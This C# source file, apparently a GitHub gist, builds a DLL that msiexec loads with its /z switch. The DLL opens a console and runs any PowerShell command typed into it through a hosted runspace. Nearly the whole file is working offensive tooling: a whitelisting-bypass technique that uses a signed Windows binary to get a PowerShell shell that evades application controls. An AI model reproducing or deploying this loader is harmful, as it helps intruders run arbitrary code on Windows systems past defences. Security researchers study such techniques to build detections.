msiexec.cs
November 8, 2016 ยท View on GitHub
// msiexec /z "full path to msiexec.dll"
using System; using System.Runtime.InteropServices; using RGiesecke.DllExport; using System.Collections.ObjectModel; using System.Management.Automation; using System.Management.Automation.Runspaces; using System.Text;
class Exports { [DllExport("DllUnregisterServer", CallingConvention = CallingConvention.StdCall)] //Based on Casey Smiths's Work public static bool DllRegisterServer() { while (true) { AllocConsole(); IntPtr defaultStdout = new IntPtr(7); IntPtr currentStdout = GetStdHandle(StdOutputHandle); Console.Write("PS >"); string x = Console.ReadLine(); try { Console.WriteLine(RunPSCommand(x)); } catch (Exception e) { Console.WriteLine(e.Message); } } return true; } //Based on Jared Atkinson's And Justin Warner's Work public static string RunPSCommand(string cmd) { //Init stuff Runspace runspace = RunspaceFactory.CreateRunspace(); runspace.Open(); RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); Pipeline pipeline = runspace.CreatePipeline();
//Add commands
pipeline.Commands.AddScript(cmd);
//Prep PS for string output and invoke
pipeline.Commands.Add("Out-String");
Collection<PSObject> results = pipeline.Invoke();
runspace.Close();
//Convert records to strings
StringBuilder stringBuilder = new StringBuilder();
foreach (PSObject obj in results)
{
stringBuilder.Append(obj);
}
return stringBuilder.ToString().Trim();
}
public static void RunPSFile(string script)
{
PowerShell ps = PowerShell.Create();
ps.AddScript(script).Invoke();
}
private const UInt32 StdOutputHandle = 0xFFFFFFF5;
[DllImport("kernel32.dll")]
private static extern IntPtr GetStdHandle(UInt32 nStdHandle);
[DllImport("kernel32.dll")]
private static extern void SetStdHandle(UInt32 nStdHandle, IntPtr handle);
[DllImport("kernel32")]
static extern bool AllocConsole();
}